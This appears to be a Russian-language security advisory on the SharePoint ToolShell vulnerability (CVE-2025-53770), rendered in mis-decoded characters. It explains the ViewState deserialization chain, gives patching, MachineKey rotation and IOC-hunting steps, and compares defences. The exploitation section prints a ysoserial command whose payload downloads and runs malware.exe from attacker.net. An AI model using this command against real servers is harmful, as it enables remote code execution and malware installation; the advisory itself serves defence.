ΠΠ΄ΠΌΠΈΠ½Ρ, ΡΡΠΎΡΠ½ΠΎ ΠΏΠ°ΡΡΠΈΠΌ SharePoint! ΠΠ±Π½Π°ΡΡΠΆΠ΅Π½Π° Π΄ΡΡΠ° Ρ ΡΠ΅ΠΉΡΠΈΠ½Π³ΠΎΠΌ ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ 9.8 β οΈ, ΠΊΠΎΡΠΎΡΡΡ ΡΠΆΠ΅ Π²ΠΎΠ²ΡΡ ΡΠΊΡΠΏΠ»ΡΠ°ΡΠΈΡΡΡΡ Ρ Π°ΠΊΠ΅ΡΡ ΠΏΠΎ Π²ΡΠ΅ΠΌΡ ΠΌΠΈΡΡ. ΠΠ»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΠΈ ΠΊΡΠ°Π΄ΡΡ ΡΡΠ΅ΡΠ½ΡΠ΅ Π΄Π°Π½Π½ΡΠ΅ Π΄Π»Ρ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ Π΄ΠΎΡΡΡΠΏΠ° ΠΊ ΠΊΠΎΡΠΏΠΎΡΠ°ΡΠΈΠ²Π½ΡΠΌ ΡΠ΅ΡΡΠΌ. ΠΡΠΎΠ±ΠΎ ΡΠΈΡΠΊΡΡΡ ΡΡΠ»ΠΈΡΠ° ΠΈ Π³ΠΎΡΠΎΡΠ³Π°Π½Ρ, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΠΈΠ΅ ΠΏΠ»Π°ΡΡΠΎΡΠΌΡ. Π‘ΠΏΠ΅ΡΠΈΠ°Π»ΠΈΡΡΡ ΡΠΎΠ²Π΅ΡΡΡΡ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ ΠΎΠ±Π½ΠΎΠ²ΠΈΡΡ ΡΠΈΡΡΠ΅ΠΌΡ ΠΈ ΡΡΠΈΠ»ΠΈΡΡ ΠΌΠΎΠ½ΠΈΡΠΎΡΠΈΠ½Π³ ΠΏΠΎΠ΄ΠΎΠ·ΡΠΈΡΠ΅Π»ΡΠ½ΠΎΠΉ Π°ΠΊΡΠΈΠ²Π½ΠΎΡΡΠΈ. ΠΠ³Π½ΠΎΡΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ = ΠΏΡΡΠΌΠΎΠΉ ΡΠΈΡΠΊ ΡΡΠ΅ΡΠ΅ΠΊ Π΄Π°Π½Π½ΡΡ ΠΈ ΡΠΈΠ½Π°Π½ΡΠΎΠ²ΡΡ ΠΏΠΎΡΠ΅ΡΡ. ππ»
Executive Technical Summary
ΠΠΊΡΠΏΠ΅ΡΡΠ½ΡΠΉ Π°Π½Π°Π»ΠΈΠ· ΡΠ³ΡΠΎΠ·Ρ: ΠΠΊΡΠΈΠ²Π½ΠΎ ΡΠΊΡΠΏΠ»ΡΠ°ΡΠΈΡΡΠ΅ΠΌΠ°Ρ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ Π² Microsoft SharePoint Server (CVE-2025-53770, CVSS 9.8) ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ Π½Π΅Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½ΡΠΌ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌ ΡΠ΄Π°Π»Π΅Π½Π½ΠΎ Π²ΡΠΏΠΎΠ»Π½ΡΡΡ ΠΊΠΎΠ΄ (RCE) ΠΈ ΠΏΠΎΡ ΠΈΡΠ°ΡΡ ΠΊΡΠΈΡΠΈΡΠ΅ΡΠΊΠΈ Π²Π°ΠΆΠ½ΡΠ΅ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΎΠ½Π½ΡΠ΅ ΡΠΎΠΊΠ΅Π½Ρ. Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡ Π·Π°ΡΡΠ°Π³ΠΈΠ²Π°Π΅Ρ Π»ΠΎΠΊΠ°Π»ΡΠ½ΡΠ΅ (on-premises) ΡΠ°Π·Π²Π΅ΡΡΡΠ²Π°Π½ΠΈΡ SharePoint Subscription Edition, SharePoint 2019 ΠΈ SharePoint 2016. Π£ΡΡΠ°Π½ΠΎΠ²ΠΊΠ° ΠΏΠ°ΡΡΠ΅ΠΉ β Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠ°Ρ, Π½ΠΎ Π½Π΅Π΄ΠΎΡΡΠ°ΡΠΎΡΠ½Π°Ρ ΠΌΠ΅ΡΠ°: ΠΎΡΠ³Π°Π½ΠΈΠ·Π°ΡΠΈΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ ΡΡΠΎΡΠ½ΠΎ ΡΠΎΡΠΈΡΠΎΠ²Π°ΡΡ ΠΊΠ»ΡΡΠΈ ΡΠΈΡΡΠΎΠ²Π°Π½ΠΈΡ ASP.NET (MachineKey/ValidationKey) ΠΈ ΠΏΠ΅ΡΠ΅Π·Π°ΠΏΡΡΠΊΠ°ΡΡ IIS. ΠΡΠ°ΠΊΠΈ, Π·Π°ΡΠΈΠΊΡΠΈΡΠΎΠ²Π°Π½Π½ΡΠ΅ Eye Security ΠΈ CISA, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡ ΡΠ΅ΠΏΠΎΡΠΊΡ ΡΠΊΡΠΏΠ»ΠΎΠΉΡΠΎΠ² (CVE-2025-49706 + CVE-2025-49704) Π΄Π»Ρ ΠΈΠ·Π²Π»Π΅ΡΠ΅Π½ΠΈΡ ΠΊΠ»ΡΡΠ΅ΠΉ ΠΈΠ· ΠΏΠ°ΠΌΡΡΠΈ, ΡΡΠΎ Π΄Π΅Π»Π°Π΅Ρ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠΉ Π³Π΅Π½Π΅ΡΠ°ΡΠΈΡ Π²Π°Π»ΠΈΠ΄Π½ΡΡ __VIEWSTATE-ΡΠΎΠΊΠ΅Π½ΠΎΠ² ΠΈ ΠΏΠ΅ΡΡΠΈΡΡΠ΅Π½ΡΠ½ΡΠΉ Π΄ΠΎΡΡΡΠΏ ΠΊ ΠΊΠΎΡΠΏΠΎΡΠ°ΡΠΈΠ²Π½ΡΠΌ ΡΠ΅ΡΡΠΌ Π±Π΅Π· Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ.
Π’Π΅Ρ Π½ΠΈΡΠ΅ΡΠΊΠΈΠΉ Deep-Dive: ΠΠ΅Ρ Π°Π½ΠΈΠ·ΠΌ ΡΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΠΈ CVE-2025-53770
ΠΡΡ ΠΈΡΠ΅ΠΊΡΡΡΠ½ΡΠΉ ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡ: Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡ ΠΎΡΠ½ΠΎΠ²Π°Π½Π° Π½Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ Π΄Π΅ΡΠ΅ΡΠΈΠ°Π»ΠΈΠ·Π°ΡΠΈΠΈ Π² ASP.NET ViewState. SharePoint ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅Ρ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ MachineKey (ValidationKey, ValidationAlgorithm) Π΄Π»Ρ ΠΏΠΎΠ΄ΠΏΠΈΡΠΈ ΠΈ ΡΠΈΡΡΠΎΠ²Π°Π½ΠΈΡ ΡΠΎΡΡΠΎΡΠ½ΠΈΡ ΡΡΡΠ°Π½ΠΈΡΡ (__VIEWSTATE), ΠΏΡΠ΅Π΄ΠΎΡΠ²ΡΠ°ΡΠ°Ρ ΠΏΠΎΠ΄Π΄Π΅Π»ΠΊΡ.
ΠΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΠΎΠ½Π½Π°Ρ ΡΠ΅ΠΏΠΎΡΠΊΠ° ToolShell (CVE-2025-49706 + CVE-2025-49704):
- ΠΠ΅Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½ΡΠΉ Π΄ΠΎΡΡΡΠΏ: ΠΡΠ°ΠΊΡΡΡΠΈΠΉ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅Ρ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ Π² SharePoint Π΄Π»Ρ Π²Π½Π΅Π΄ΡΠ΅Π½ΠΈΡ ΡΠΏΠ΅ΡΠΈΠ°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ Π²Π΅Π±-ΡΠ΅Π»Π»Π° ToolShell.
- ΠΠ·Π²Π»Π΅ΡΠ΅Π½ΠΈΠ΅ ΠΊΡΠΈΠΏΡΠΎΠ³ΡΠ°ΡΠΈΡΠ΅ΡΠΊΠΈΡ
ΠΊΠ»ΡΡΠ΅ΠΉ: ToolShell ΠΎΠ±ΡΠ°ΡΠ°Π΅ΡΡΡ ΠΊ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΈ .NET (
web.config) ΠΈΠ»ΠΈ ΠΏΠ°ΠΌΡΡΠΈ ΡΠ΅ΡΠ²Π΅ΡΠ°, ΠΈΠ·Π²Π»Π΅ΡΠ°Ρ ΡΠ΅ΠΊΡΠ΅ΡΠ½ΡΠΉValidationKey. - ΠΠ΅Π½Π΅ΡΠ°ΡΠΈΡ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΡ
ΡΠΎΠΊΠ΅Π½ΠΎΠ²: Π‘ ΠΏΠΎΠΌΠΎΡΡΡ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠ°
ysoserialΠΈ ΡΠΊΡΠ°Π΄Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡΡΠ° Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊ Π³Π΅Π½Π΅ΡΠΈΡΡΠ΅Ρ ΠΏΠΎΠ΄ΠΏΠΈΡΠ°Π½Π½ΡΠ΅ __VIEWSTATE-ΡΠΎΠΊΠ΅Π½Ρ, Π²Π½Π΅Π΄ΡΡΡΡΠΈΠ΅ ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ»ΡΠ½ΡΠΉ ΠΊΠΎΠ΄:# ΠΡΠΈΠΌΠ΅Ρ Π³Π΅Π½Π΅ΡΠ°ΡΠΈΠΈ RCE-ΡΠΎΠΊΠ΅Π½Π° Ρ ΠΏΠΎΠΌΠΎΡΡΡ ysoserial (Π°Π΄Π°ΠΏΡΠΈΡΠΎΠ²Π°Π½ΠΎ ΠΏΠΎΠ΄ Π°ΡΠ°ΠΊΡ): ysoserial.exe -p ViewState -g TypeConfuseDelegate \ -c "powershell -nop -c \"$client = New-Object System.Net.WebClient; $client.DownloadFile('http://attacker.net/malware.exe', 'C:\\Windows\\Temp\\malware.exe'); Start-Process 'C:\\Windows\\Temp\\malware.exe'\"" \ --generator="VALUE_FROM_SHAREPOINT" \ --validationkey="STOLEN_KEY" \ --validationalg="SHA1" \ --islegacy \ --minify - RCE ΡΠ΅ΡΠ΅Π· ΠΏΠΎΠ΄ΠΌΠ΅Π½Ρ ΡΠΎΠΊΠ΅Π½Π°: Π‘Π³Π΅Π½Π΅ΡΠΈΡΠΎΠ²Π°Π½Π½ΡΠΉ ΡΠΎΠΊΠ΅Π½ ΠΏΠ΅ΡΠ΅Π΄Π°Π΅ΡΡΡ ΡΠ΅ΡΠ΅Π· ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡ
__VIEWSTATEΠ»ΡΠ±ΠΎΠ³ΠΎ Π·Π°ΠΏΡΠΎΡΠ° ΠΊ SharePoint (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ,/_layouts/15/start.aspx), ΡΡΠΎ ΠΏΡΠΈΠ²ΠΎΠ΄ΠΈΡ ΠΊ Π΄Π΅ΡΠ΅ΡΠΈΠ°Π»ΠΈΠ·Π°ΡΠΈΠΈ ΠΈ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ Π²ΡΡΡΠΎΠ΅Π½Π½ΠΎΠΉ ΠΊΠΎΠΌΠ°Π½Π΄Ρ.
ΠΠ»ΡΡΠ΅Π²ΡΠ΅ ΠΈΠ½ΠΆΠ΅Π½Π΅ΡΠ½ΡΠ΅ ΠΊΠΎΠΌΠΏΡΠΎΠΌΠΈΡΡΡ: ΠΠ°ΡΡΠΈ Microsoft (KB500β¦) Π±Π»ΠΎΠΊΠΈΡΡΡΡ ΠΏΠ΅ΡΠ²ΠΎΠ½Π°ΡΠ°Π»ΡΠ½ΡΠΉ Π²Π΅ΠΊΡΠΎΡ ΠΈΠ½ΡΠ΅ΠΊΡΠΈΠΈ, Π½ΠΎ Π½Π΅ ΠΌΠ΅Π½ΡΡΡ Π°ΡΡ ΠΈΡΠ΅ΠΊΡΡΡΠ½ΡΡ Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡΡ ΠΎΡ MachineKey. ΠΠ·Π²Π»Π΅ΡΠ΅Π½ΠΈΠ΅ ΠΊΠ»ΡΡΠ° Π΄Π΅Π»Π°Π΅Ρ Π²ΡΡ ΡΠΈΡΡΠ΅ΠΌΡ Π΄ΠΎΠ²Π΅ΡΠ΅Π½Π½ΡΡ ΡΠΎΠΊΠ΅Π½ΠΎΠ² ΡΡΠ·Π²ΠΈΠΌΠΎΠΉ.
Π’Π°ΠΊΡΠΈΠΊΠ° ΠΎΡΠ²Π΅ΡΠ½ΡΡ ΠΌΠ΅Ρ ΠΈ Π²ΠΎΡΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅
ΠΠ΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΡΠ΅ Π΄Π΅ΠΉΡΡΠ²ΠΈΡ (Post-Exploitation Response):
- ΠΠ°ΡΡΠΈΠ½Π³ (ΠΠ΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΡΠΉ ΠΌΠΈΠ½ΠΈΠΌΡΠΌ): Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΡΠ΅ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΡ Microsoft Π΄Π»Ρ SharePoint Subscription Edition ΠΈ 2019. ΠΠ»Ρ SharePoint 2016 ΠΏΡΠΈΠΌΠ΅Π½ΠΈΡΠ΅ ΠΎΠ±Ρ ΠΎΠ΄Π½ΠΎΠ΅ ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ ΡΠ΅ΡΠ΅Π· AMSI (Antimalware Scan Interface).
- ΠΡΠΈΡΠΈΡΠ΅ΡΠΊΠΈΠΉ ΡΡΠ°ΠΏ: Π ΠΎΡΠ°ΡΠΈΡ MachineKey: ΠΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ ΠΠ Π°Π½Π½ΡΠ»ΠΈΡΡΠ΅Ρ ΡΠΊΡΠ°Π΄Π΅Π½Π½ΡΠ΅ ΠΊΠ»ΡΡΠΈ. Π’ΡΠ΅Π±ΡΠ΅ΡΡΡ:
- Π‘Π³Π΅Π½Π΅ΡΠΈΡΠΎΠ²Π°ΡΡ Π½ΠΎΠ²ΡΠ΅ Π·Π½Π°ΡΠ΅Π½ΠΈΡ
validationKeyΠΈdecryptionKeyΠ² ΡΠ°Π·Π΄Π΅Π»Π΅ ` ` ΡΠ°ΠΉΠ»Π° `web.config` Π½Π° ΠΠ‘ΠΠ₯ ΡΠ΅ΡΠ²Π΅ΡΠ°Ρ SharePoint ΠΈ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΠΈΡ Π΅Π΄ΠΈΠ½ΡΡ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡ MachineKey. - ΠΠΎΠ»Π½ΠΎΡΡΡΡ ΠΏΠ΅ΡΠ΅Π·Π°ΠΏΡΡΡΠΈΡΡ ΠΏΡΠ»Ρ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ (Application Pools) ΠΈ ΡΠ»ΡΠΆΠ±Ρ IIS (
iisreset /noforce). - ΠΠ°ΠΆΠ½ΠΎ: ΠΠ±Π½ΠΎΠ²ΠΈΡΠ΅
web.configΠ½Π° Π²ΡΠ΅Ρ Π½ΠΎΠ΄Π°Ρ ΡΠ΅ΡΠΌΡ ΡΠΈΠ½Ρ ΡΠΎΠ½Π½ΠΎ ΠΏΠ΅ΡΠ΅Π΄ ΠΏΠ΅ΡΠ΅Π·Π°ΠΏΡΡΠΊΠΎΠΌ IIS.<!-- ΠΡΠΈΠΌΠ΅Ρ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠ³ΠΎ MachineKey Π² web.config --> <system.web> ... <machineKey validationKey="NEW_AES_256_KEY_GENERATED_WITH_KMU" decryptionKey="NEW_AES_192_KEY_GENERATED_WITH_KMU" validation="SHA1" decryption="AES" /> ... </system.web>
- Π‘Π³Π΅Π½Π΅ΡΠΈΡΠΎΠ²Π°ΡΡ Π½ΠΎΠ²ΡΠ΅ Π·Π½Π°ΡΠ΅Π½ΠΈΡ
- ΠΡΠΈΡΡΠΊΠ° ΠΈ ΡΠ°ΡΡΠ»Π΅Π΄ΠΎΠ²Π°Π½ΠΈΠ΅:
- ΠΠΎΠΈΡΠΊ IOC: ΠΠ½Π°Π»ΠΈΠ· Π»ΠΎΠ³ΠΎΠ² IIS Π½Π° ΠΏΡΠ΅Π΄ΠΌΠ΅Ρ Π°Π½ΠΎΠΌΠ°Π»ΡΠ½ΡΡ
Π·Π°ΠΏΡΠΎΡΠΎΠ² ΠΊ
/_layouts/15/*.aspxΡ ΠΏΠΎΠ΄ΠΎΠ·ΡΠΈΡΠ΅Π»ΡΠ½ΠΎ Π΄Π»ΠΈΠ½Π½ΡΠΌΠΈ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠ°ΠΌΠΈ__VIEWSTATE. ΠΠΎΠΈΡΠΊ ΡΠ°ΠΉΠ»ΠΎΠ²aspxΡ Π½Π΅ΠΎΠ±ΡΡΠ½ΡΠΌΠΈ ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ ΠΈΠ»ΠΈ ΠΌΠ΅ΡΠΊΠ°ΠΌΠΈ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ. - ΠΡΠΎΠ²Π΅ΡΠΊΠ° ΡΠΈΡΡΠ΅ΠΌ Π½Π° Π½Π°Π»ΠΈΡΠΈΠ΅ ToolShell (ΠΎΡΠΈΠ΅Π½ΡΠΈΡΡ: Eye Security, CISA).
- ΠΠΎΠ½ΠΈΡΠΎΡΠΈΠ½Π³ ΠΈΡΡ ΠΎΠ΄ΡΡΠΈΡ ΡΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠΉ Ρ ΡΠ΅ΡΠ²Π΅ΡΠΎΠ² SharePoint.
- Π ΠΎΡΠ°ΡΠΈΡ Π²ΡΠ΅Ρ ΡΡΠ΅ΡΠ½ΡΡ Π΄Π°Π½Π½ΡΡ (ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»ΡΡΠΊΠΈΠ΅, ΡΠ΅ΡΠ²ΠΈΡΠ½ΡΠ΅, ΠΏΡΠΈΠΊΠ»Π°Π΄Π½ΡΠ΅), Ρ ΡΠ°Π½ΡΡΠΈΡ ΡΡ ΠΈΠ»ΠΈ Π΄ΠΎΡΡΡΠΏΠ½ΡΡ ΡΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠΈΡΠΎΠ²Π°Π½Π½ΡΠΌ ΡΠ΅ΡΠ²Π΅ΡΠ°ΠΌ. ΠΠΎΠ½ΠΈΡΠΎΡΠΈΠ½Π³ Π°ΠΊΡΠΈΠ²Π½ΠΎΡΡΠΈ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΎΠ²Π°Π½Π½ΡΡ ΡΡΠ΅ΡΠΎΠΊ.
- ΠΠΎΠΈΡΠΊ IOC: ΠΠ½Π°Π»ΠΈΠ· Π»ΠΎΠ³ΠΎΠ² IIS Π½Π° ΠΏΡΠ΅Π΄ΠΌΠ΅Ρ Π°Π½ΠΎΠΌΠ°Π»ΡΠ½ΡΡ
Π·Π°ΠΏΡΠΎΡΠΎΠ² ΠΊ
ΠΠ½Π°Π»ΠΈΠ· ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡΠ΅Π»ΡΠ½ΠΎΡΡΠΈ ΠΈ ΡΠΈΡΠΊΠΎΠ²
ΠΡΠ΅Π½ΠΎΡΠ½ΡΠ΅ ΠΌΠ΅ΡΡΠΈΠΊΠΈ:
- Π‘ΠΊΠΎΡΠΎΡΡΡ ΡΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΠΈ: ΠΠ°ΡΡΠΎΠ²ΡΠ΅ Π°ΡΠ°ΠΊΠΈ Π·Π°ΡΠΈΠΊΡΠΈΡΠΎΠ²Π°Π½Ρ Π² ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ 48 ΡΠ°ΡΠΎΠ² ΠΏΠΎΡΠ»Π΅ ΠΏΡΠ±Π»ΠΈΠΊΠ°ΡΠΈΠΈ Π΄Π΅ΡΠ°Π»Π΅ΠΉ.
- ΠΠ»ΡΠ±ΠΈΠ½Π° Π΄ΠΎΡΡΡΠΏΠ°: ΠΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠ°ΡΠΈΡ MachineKey ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π»ΡΠ΅Ρ ΡΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½Ρ ΠΏΡΠ°Π² ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ SharePoint (Π²ΡΡΠΎΠΊΠΈΠ΅ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ). ΠΠΎΡΠ»Π΅Π΄ΡΡΡΠ΅Π΅ RCE β ΠΏΠΎΠ»Π½ΡΠΉ ΠΊΠΎΠ½ΡΡΠΎΠ»Ρ Π½Π°Π΄ ΡΠ΅ΡΠ²Π΅ΡΠΎΠΌ.
- Latency ΡΠ΅Π°ΠΊΡΠΈΠΈ: ΠΠ΅ΡΠΈΠΎΠ΄ ΠΎΡ CVE Π΄ΠΎ ΠΏΠ°ΡΡΠ°: ~3 Π΄Π½Ρ (Ρ ΡΡΠ΅ΡΠΎΠΌ ΠΏΡΠ΅Π΄Π²Π°ΡΠΈΡΠ΅Π»ΡΠ½ΡΡ ΡΠ°ΡΡΠΈΡΠ½ΡΡ ΠΏΠ°ΡΡΠ΅ΠΉ). ΠΠ΅ΡΠΈΠΎΠ΄ ΠΌΠ°ΡΡΠΎΠ²ΡΡ Π°ΡΠ°ΠΊ: <24 ΡΠ°ΡΠΎΠ² ΠΏΠΎΡΠ»Π΅ ΠΏΠ°ΡΡΠ°.
- Π ΠΈΡΠΊ Π΄Π»Ρ SharePoint 2016: ΠΡΡΡΡΡΡΠ²ΠΈΠ΅ ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ ΠΏΠ°ΡΡΠ° ΠΏΠΎΠ²ΡΡΠ°Π΅Ρ ΡΠΈΡΠΊ ΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠ°ΡΠΈΠΈ ΡΠ΅ΡΠ΅Π· Π°Π»ΡΡΠ΅ΡΠ½Π°ΡΠΈΠ²Π½ΡΠ΅ Π²Π΅ΠΊΡΠΎΡΡ Π΄Π°ΠΆΠ΅ Ρ AMSI.
| Π‘ΡΠ°Π²Π½ΠΈΡΠ΅Π»ΡΠ½ΡΠΉ Π°Π½Π°Π»ΠΈΠ· Π·Π°ΡΠΈΡΠ½ΡΡ ΠΌΠ΅Ρ: | ΠΠ΅ΡΠ° | ΠΡΡΠ΅ΠΊΡΠΈΠ²Π½ΠΎΡΡΡ ΠΏΡΠΎΡΠΈΠ² CVE-2025-53770 | ΠΠ³ΡΠ°Π½ΠΈΡΠ΅Π½ΠΈΡ/ΠΡΠ°Π½ΡΡ | Π‘ΡΠΎΡΠ½ΠΎΡΡΡ |
|---|---|---|---|---|
| Π£ΡΡΠ°Π½ΠΎΠ²ΠΊΠ° ΠΏΠ°ΡΡΠ΅ΠΉ | ΠΡΡΠΎΠΊΠ°Ρ (Π±Π»ΠΎΠΊΠΈΡΡΠ΅Ρ ΠΎΡΠ½ΠΎΠ²Π½ΠΎΠΉ Π²Π΅ΠΊΡΠΎΡ) | ΠΠ΅ Π·Π°ΡΠΈΡΠ°Π΅Ρ ΠΎΡ ΡΠ°Π½Π΅Π΅ ΡΠΊΡΠ°Π΄Π΅Π½Π½ΡΡ ΠΊΠ»ΡΡΠ΅ΠΉ | ΠΡΠΈΡΠΈΡΠ΅ΡΠΊΠΈ Π²ΡΡΠΎΠΊΠ°Ρ | |
| Π ΠΎΡΠ°ΡΠΈΡ MachineKey | ΠΡΠΈΡΠΈΡΠ΅ΡΠΊΠ°Ρ (ΠΈΠ½Π²Π°Π»ΠΈΠ΄ΠΈΡΡΠ΅Ρ ΡΠΊΡΠΏΠ»ΠΎΠΉΡ) | Π’ΡΠ΅Π±ΡΠ΅Ρ ΠΊΠΎΠΎΡΠ΄ΠΈΠ½ΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΠ΅ΡΠ΅Π·Π°ΠΏΡΡΠΊΠ° IIS | ΠΡΠΈΡΠΈΡΠ΅ΡΠΊΠΈ Π²ΡΡΠΎΠΊΠ°Ρ | |
| Π‘Π΅ΡΠ΅Π²ΠΎΠΉ ΡΠ΅Π³ΠΌΠ΅Π½ΡΠ°ΡΠΈΡ | Π‘ΡΠ΅Π΄Π½ΡΡ (ΠΎΠ³ΡΠ°Π½ΠΈΡΠΈΠ²Π°Π΅Ρ RCE) | ΠΠ΅ ΠΏΡΠ΅ΠΏΡΡΡΡΠ²ΡΠ΅Ρ ΠΊΡΠ°ΠΆΠ΅ ΠΊΠ»ΡΡΠ΅ΠΉ ΡΠ΅ΡΠ΅Π· Π²Π΅Π±-Π΄ΠΎΡΡΡΠΏ | ΠΡΡΠΎΠΊΠ°Ρ | |
| WAF/IPS ΠΏΡΠ°Π²ΠΈΠ»Π° | ΠΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ (Π·Π°Π²ΠΈΡΠΈΡ ΠΎΡ ΡΠΈΠ³Π½Π°ΡΡΡ) | ΠΠΎΠ·ΠΌΠΎΠΆΠ½Ρ false positive/negative; ΠΎΠ±Ρ ΠΎΠ΄ ΡΠ΅ΡΠ΅Π· ΡΠΈΡΡΠΎΠ²Π°Π½ΠΈΠ΅ | Π‘ΡΠ΅Π΄Π½ΡΡ | |
| AMSI (SharePoint 2016) | Π§Π°ΡΡΠΈΡΠ½Π°Ρ (ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½ΠΈΠ΅) | ΠΠ΅ Π±Π»ΠΎΠΊΠΈΡΡΠ΅Ρ ΡΠΊΡΠΏΠ»ΠΎΠΉΡ; ΡΡΠ΅Π±ΡΠ΅Ρ Π½Π°ΡΡΡΠΎΠ΅Π½Π½ΡΡ ΡΠΈΠ³Π½Π°ΡΡΡ | Π‘ΡΠ΅Π΄Π½ΡΡ |
ΠΠΊΡΠΏΠ΅ΡΡΠ½ΡΠ΅ ΡΠ΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°ΡΠΈΠΈ Π΄Π»Ρ Enterprise
- ΠΡΠΎΠ°ΠΊΡΠΈΠ²Π½ΡΠΉ Hardening:
- Π Π΅ΡΡΡΠΈΠΊΡΠΈΠ²Π½ΡΠΉ Π΄ΠΎΡΡΡΠΏ: ΠΠ³ΡΠ°Π½ΠΈΡΡΡΠ΅ Π΄ΠΎΡΡΡΠΏ ΠΊ SharePoint-ΠΏΠΎΡΡΠ°ΠΌ (TCP/443) ΡΠΎΠ»ΡΠΊΠΎ Π΄ΠΎΠ²Π΅ΡΠ΅Π½Π½ΡΠΌ IP-Π°Π΄ΡΠ΅ΡΠ°ΠΌ, ΠΈΡΠΊΠ»ΡΡΠΈΠ² ΠΏΡΡΠΌΠΎΠΉ Π΄ΠΎΡΡΡΠΏ ΠΈΠ· ΠΠ½ΡΠ΅ΡΠ½Π΅ΡΠ°. ΠΡΠΏΠΎΠ»ΡΠ·ΡΠΉΡΠ΅ VPN ΠΈΠ»ΠΈ ΡΠ΅Π²Π΅ΡΡ-ΠΏΡΠΎΠΊΡΠΈ Ρ ΠΆΠ΅ΡΡΠΊΠΎΠΉ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠ΅ΠΉ.
- Π Π΅Π³ΡΠ»ΡΡΠ½Π°Ρ ΡΠΎΡΠ°ΡΠΈΡ MachineKey: ΠΠΊΠ»ΡΡΠΈΡΠ΅ Π² ΡΠΈΠΊΠ» ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠ΅ΠΉ (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Π΅ΠΆΠ΅ΠΊΠ²Π°ΡΡΠ°Π»ΡΠ½ΠΎ).
